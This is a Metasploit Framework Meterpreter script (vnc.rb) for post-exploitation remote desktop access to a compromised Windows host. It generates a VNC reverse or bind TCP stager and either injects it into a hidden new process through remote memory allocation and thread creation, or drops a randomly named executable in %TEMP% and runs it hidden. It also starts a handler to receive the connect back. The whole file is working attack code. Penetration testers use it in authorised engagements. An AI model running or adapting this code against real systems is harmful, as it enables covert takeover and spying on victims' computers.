metasploit-framework/scripts/meterpreter/vnc.rb

#
# Meterpreter script for obtaining a quick VNC session
#

session = client

#
# Options
#
opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "This help menu"],
  "-r"  => [ true,   "The IP of a remote Metasploit listening for the connect back"],
  "-p"  => [ true,   "The port on the remote host where Metasploit is listening (default: 4545)"],
  "-v"  => [ true,   "The local port for the VNC proxy service (default: 5900)"],
  "-i"  => [ false,  "Inject the vnc server into a new process's memory instead of building an exe"],
  "-P"  => [ true,   "Executable to inject into (starts a new process).  Only useful with -i (default: notepad.exe)"],
  "-D"  => [ false,  "Disable the automatic multi/handler (use with -r to accept on another system)"],
  "-O"  => [ false,  "Disable binding the VNC proxy to localhost (open it to the network)"],
  "-V"  => [ false,  "Disable the automatic launch of the VNC client"],
  "-t"  => [ false,  "Tunnel through the current session connection. (Will be slower)"],
  "-c"  => [ false,  "Enable the VNC courtesy shell"]
)

#
# Default parameters
#

if (client.sock and client.sock.respond_to? :peerhost and client.sock.peerhost)
  rhost    = Rex::Socket.source_address(client.sock.peerhost)
else
  rhost    = Rex::Socket.source_address("1.2.3.4")
end
rport    = 4545
vport    = 5900
lhost    = "127.0.0.1"


autoconn = true
autovnc  = true
anyaddr  = false
courtesy = false
tunnel   = false
inject   = false
runme    = "notepad.exe"
pay      = nil

#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
  case opt
  when "-h"
    print_line(opts.usage)
    raise Rex::Script::Completed
  when "-r"
    rhost = val
  when "-p"
    rport = val.to_i
  when "-v"
    vport = val.to_i
  when "-P"
    runme = val
  when "-D"
    autoconn = false
  when "-O"
    anyaddr = true
  when "-V"
    autovnc = false
  when "-c"
    courtesy = true
  when "-t"
    tunnel = true
    autoconn = true
  when "-i"
    inject = true
  end
end

#check for proper Meterpreter Platform
def unsupported
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end
unsupported if client.platform !~ /win32|win64/i

#
# Create the raw payload
#
if (tunnel)
  print_status("Creating a VNC bind tcp stager: RHOST=#{lhost} LPORT=#{rport}")
  payload = "windows/vncinject/bind_tcp"

  pay = client.framework.payloads.create(payload)
  pay.datastore['RHOST'] = lhost
  pay.datastore['LPORT'] = rport
  pay.datastore['VNCPORT'] = vport
else
  print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport}")
  payload = "windows/vncinject/reverse_tcp"

  pay = client.framework.payloads.create(payload)
  pay.datastore['LHOST'] = rhost
  pay.datastore['LPORT'] = rport
  pay.datastore['VNCPORT'] = vport
end

if (not courtesy)
  pay.datastore['DisableCourtesyShell'] = true
end

if (anyaddr)
  pay.datastore['VNCHOST'] = "0.0.0.0"
end

if autoconn
  mul = client.framework.exploits.create("multi/handler")
  mul.share_datastore(pay.datastore)

  mul.datastore['WORKSPACE'] = client.workspace
  mul.datastore['PAYLOAD'] = payload
  mul.datastore['EXITFUNC'] = 'process'
  mul.datastore['ExitOnSession'] = true
  mul.datastore['WfsDelay'] = 7

  mul.datastore['AUTOVNC'] = autovnc

  print_status("Running payload handler")
  mul.exploit_simple(
    'Payload'  => mul.datastore['PAYLOAD'],
    'RunAsJob' => true
  )
end

raw = pay.generate
if (inject)
  #
  # Create a host process
  #
  pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid
  print_status("Host process #{runme} has PID #{pid}")
  host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
  mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

  print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
  print_status("Writing the VNC stager into memory...")
  host_process.memory.write(mem, raw)
  host_process.thread.create(mem, 0)
else
  exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
  print_status("VNC stager executable #{exe.length} bytes long")

  #
  # Upload to the filesystem
  #
  tempdir = client.fs.file.expand_path("%TEMP%")
  tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
  tempexe.gsub!("\\\\", "\\")

  fd = client.fs.file.new(tempexe, "wb")
  fd.write(exe)
  fd.close
  print_status("Uploaded the VNC agent to #{tempexe} (must be deleted manually)")

  #
  # Execute the agent
  #
  print_status("Executing the VNC agent with endpoint #{rhost}:#{rport}...")
  pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true})
end

if tunnel
  # Set up a port forward for the multi/handler to use for uploading the stage
  print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}")
  client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}")
end